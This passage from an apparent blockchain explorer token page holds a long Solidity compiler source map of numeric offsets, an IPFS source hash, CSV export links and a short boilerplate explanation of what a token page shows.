:25;;;;;;:65;;;;5211:28;;;;;;;:40;;5244:6;5211:32;:40::i;:::-;-1:-1:-1;;;;;5180:28:0;;;;;;;:17;:28;;;;;;;:71;;;;5267:35;;;;;;;;;;5295:6;1258:25:1;;1246:2;1231:18;;1112:177;1037:158:0;1095:7;1128:1;1123;:6;;1115:49;;;;-1:-1:-1;;;1115:49:0;;5597:2:1;1115:49:0;;;5579:21:1;5636:2;5616:18;;;5609:30;5675:32;5655:18;;;5648:60;5725:18;;1115:49:0;;;;;;;;;1182:5;1186:1;1182;:5;:::i;:::-;1175:12;1037:158;-1:-1:-1;;;1037:158:0:o;850:179::-;908:7;;940:5;944:1;940;:5;:::i;:::-;928:17;;969:1;964;:6;;956:46;;;;-1:-1:-1;;;956:46:0;;6219:2:1;956:46:0;;;6201:21:1;6258:2;6238:18;;;6231:30;6297:29;6277:18;;;6270:57;6344:18;;956:46:0;6017:351:1;14:418;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:173::-;505:20;;-1:-1:-1;;;;;554:31:1;;544:42;;534:70;;600:1;597;590:12;534:70;437:173;;;:::o;615:300::-;683:6;691;744:2;732:9;723:7;719:23;715:32;712:52;;;760:1;757;750:12;712:52;783:29;802:9;783:29;:::i;:::-;773:39;881:2;866:18;;;;853:32;;-1:-1:-1;;;615:300:1:o;1294:374::-;1371:6;1379;1387;1440:2;1428:9;1419:7;1415:23;1411:32;1408:52;;;1456:1;1453;1446:12;1408:52;1479:29;1498:9;1479:29;:::i;:::-;1469:39;;1527:38;1561:2;1550:9;1546:18;1527:38;:::i;:::-;1294:374;;1517:48;;-1:-1:-1;;;1634:2:1;1619:18;;;;1606:32;;1294:374::o;1862:186::-;1921:6;1974:2;1962:9;1953:7;1949:23;1945:32;1942:52;;;1990:1;1987;1980:12;1942:52;2013:29;2032:9;2013:29;:::i;2261:610::-;2347:6;2355;2408:2;2396:9;2387:7;2383:23;2379:32;2376:52;;;2424:1;2421;2414:12;2376:52;2464:9;2451:23;2497:18;2489:6;2486:30;2483:50;;;2529:1;2526;2519:12;2483:50;2552:22;;2605:4;2597:13;;2593:27;-1:-1:-1;2583:55:1;;2634:1;2631;2624:12;2583:55;2674:2;2661:16;2700:18;2692:6;2689:30;2686:50;;;2732:1;2729;2722:12;2686:50;2785:7;2780:2;2770:6;2767:1;2763:14;2759:2;2755:23;2751:32;2748:45;2745:65;;;2806:1;2803;2796:12;2745:65;2837:2;2829:11;;;;;2859:6;;-1:-1:-1;2261:610:1;-1:-1:-1;;;2261:610:1:o;2876:260::-;2944:6;2952;3005:2;2993:9;2984:7;2980:23;2976:32;2973:52;;;3021:1;3018;3011:12;2973:52;3044:29;3063:9;3044:29;:::i;:::-;3034:39;;3092:38;3126:2;3115:9;3111:18;3092:38;:::i;:::-;3082:48;;2876:260;;;;;:::o;3141:380::-;3220:1;3216:12;;;;3263;;;3284:61;;3338:4;3330:6;3326:17;3316:27;;3284:61;3391:2;3383:6;3380:14;3360:18;3357:38;3354:161;;3437:10;3432:3;3428:20;3425:1;3418:31;3472:4;3469:1;3462:15;3500:4;3497:1;3490:15;3354:161;;3141:380;;;:::o;3526:127::-;3587:10;3582:3;3578:20;3575:1;3568:31;3618:4;3615:1;3608:15;3642:4;3639:1;3632:15;3658:375;3746:1;3764:5;3778:249;3799:1;3789:8;3786:15;3778:249;;;3849:4;3844:3;3840:14;3834:4;3831:24;3828:50;;;3858:18;;:::i;:::-;3908:1;3898:8;3894:16;3891:49;;;3922:16;;;;3891:49;4005:1;4001:16;;;;;3961:15;;3778:249;;;3658:375;;;;;;:::o;4038:902::-;4087:5;4117:8;4107:80;;-1:-1:-1;4158:1:1;4172:5;;4107:80;4206:4;4196:76;;-1:-1:-1;4243:1:1;4257:5;;4196:76;4288:4;4306:1;4301:59;;;;4374:1;4369:174;;;;4281:262;;4301:59;4331:1;4322:10;;4345:5;;;4369:174;4406:3;4396:8;4393:17;4390:43;;;4413:18;;:::i;:::-;-1:-1:-1;;4469:1:1;4455:16;;4528:5;;4281:262;;4627:2;4617:8;4614:16;4608:3;4602:4;4599:13;4595:36;4589:2;4579:8;4576:16;4571:2;4565:4;4562:12;4558:35;4555:77;4552:203;;;-1:-1:-1;4664:19:1;;;4740:5;;4552:203;4787:42;-1:-1:-1;;4812:8:1;4806:4;4787:42;:::i;:::-;4865:6;4861:1;4857:6;4853:19;4844:7;4841:32;4838:58;;;4876:18;;:::i;:::-;4914:20;;4038:902;-1:-1:-1;;;4038:902:1:o;4945:140::-;5003:5;5032:47;5073:4;5063:8;5059:19;5053:4;5032:47;:::i;5090:168::-;5163:9;;;5194;;5211:15;;;5205:22;;5191:37;5181:71;;5232:18;;:::i;5263:127::-;5324:10;5319:3;5315:20;5312:1;5305:31;5355:4;5352:1;5345:15;5379:4;5376:1;5369:15;5754:128;5821:9;;;5842:11;;;5839:37;;;5856:18;;:::i;5887:125::-;5952:9;;;5973:10;;;5970:36;;;5986:18;;:::i
Swarm Source
ipfs://c57a0d63c78cee10bff4db370cc78a7c1a77a5468fc4abc098e4986d759cb825
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.